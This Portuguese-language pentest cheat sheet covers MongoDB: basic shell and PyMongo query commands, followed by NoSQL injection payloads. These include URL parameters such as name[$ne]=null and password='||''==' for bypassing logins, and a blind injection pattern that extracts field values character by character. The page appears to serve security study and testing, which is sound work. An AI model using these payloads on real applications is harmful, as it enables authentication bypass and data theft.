MongoDB

No banco de dados não relacional MongoDB, os injections tem a mesma lógica dos banco relacionais (em termos de injections), porém com sintaxes diferentes. Por exemplo, o MySQL usa o injection ' or 1=1 -- enquanto o MongoDB usa || 1==1 ou [{"$gt":""}] que diz para nos retornar o que for maior que null, ou seja, tudo.

DICA: Podemos saber se determinado campo existe em uma Collection inserindo a condição && this.password .

Comandos Básicos

COMANDO

DESCRIÇÃO

mongo

Conecta ao banco de dados local

mongo <ip> / mongo --host <ip>

Conecta ao banco de dados remoto

show dbs

Exibe os databases. admin, config e local são utilizadas pelo próprio MongoDB

use <database>

Seleciona um database

show collections

Exibe as Collections do Database atual

db.<collection>.find()

Exibe as informações de uma determinada Collection. Por padrão exibe 20 registros, digite it para mostrar mais registros.

db.<collection>.find().count()

Exibe a quantidade de registros em uma determinada Collection

db.<collection>.find().limit(<qtdade_registros>)

Retorna uma determinada quantidade de registros

db.<collection>.find({"<key>": "<value>"})

Filtrando por campo que tenha determinado valor

db.<collection>.find({"<key>": {$gt: "<value_integer>"})

Filtrando por campo que tenha um valor maior que o determinado

db.<collection>.find({$and: [{"<key>": "<value>"}, {"<key>": "<value>"}]})

Filtrando com a condição AND

db.<collection>.find({$or: [{"<key>": "<value>"}, {"<key>": "<value>"}]})

Filtrando com a condição OR

db.<collection>.find({"<key>": {$regex: "ˆABC.*"}}) db.<collection>.find({"<key>": {$regex: "ABC.*"}}).count()

Filtra por todas os registros de determinada key que começam com "ABC"

db.<collection>.find().sort({"<key>": 1}).skip(100).limit(1)

Ordenando por determinado, exibindo a partir da linha 100 e exibindo apenas o primeiro resultado

db.<collection>.aggregate({"$group": {"_id": null, avg: {$avg: "$<key>"}}})

Exibindo média de valores

NoSQL Injection

Ao fazer um injection para trazer todos os dados, semelhante a um ' or '1'='1, primeiro manipule o campo chave via Burp Suite ou via GET (caso esteja disponível), seguindo o seguinte padrão:

# Requisição original
http://site.com.br/?name=mysther

# Requisição com NoSQL Injection
http://site.com.br/?name[$ne]=null
http://site.com.br/?name={$ne:null}&password={$ne:null}
http://site.com.br/?name={$ne:null}&password='||''=='
http://site.com.br/?name=admin&password='||''=='
http://site.com.br/?name[$ne]=nullpassword='||''=='

Blind NoSQL

Semelhante ao processo de Blind SQL, o Blind NoSQL também e um processo manual bastante maçante. Supondo que temos uma vulnerabilidade que nos permite injectar comandos no MongoDB, podemos utilizar o seguinte payload:

' && this.<field>.match(/^<catactere>.*$/)%00

Caso no retorne positivo, o sistema web irá continuar trazendo os resultados normalmente e caso negativo, não irá retorna dados quaisquer. Caso retorne ok, altere o payload para o seguinte modelo:

' && this.<field>.match(/^<caractere_encontrado><novo_catactere>.*$/)%00

Depois disso continue fazendo esse processo até finalizar a string que deseja buscar.

PyMongo

#!/usr/bin/python
from pymongo import MongoClient

client = MongoClient('localhost', 27017)

# Listando os databases
print client.database_names()

# Listando as Collections de uma determinada Database
print client['<database>'].collection_names()

# Retornando o valor dp primeiro registro de uma determinada Collection
print client['<database>'].<collection>.find_one()

# Verificando a quantidade de registros de uma Collection
print client['<database>'].<collection>.find().count()
print client['<database>'].<collection>.find().count(True)

# WHERE com uma condição
print client['<database>'].<collection>.find_one({"<key>": "<value>"})

# WHERE com duas condições "AND" + count
print client['<database>'].<collection>.find({"$and": [{"<key>": "<value>"}, {"<key>": "<value>"}]}).count()

# WHERE com duas condições "OR" + count
print client['<database>'].<collection>.find({"$or": [{"<key>": "<value>"}, {"<key>": "<value>"}]}).count()

# Ordenando o resultado em ordem alfabética e retornado o seu sétimo registro
print client['<database>'].<collection>.find().sort('<key>', 1)[7]

# Média de valores
list(client['<database>'].<collection>.aggregate([{"$match": {"<key>": "<value>"}}, {"$group": {"_id": "$<key>", "avg": {"$avg": "$<key>"}}}]))

Sites

https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html
https://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html
https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf

Last updated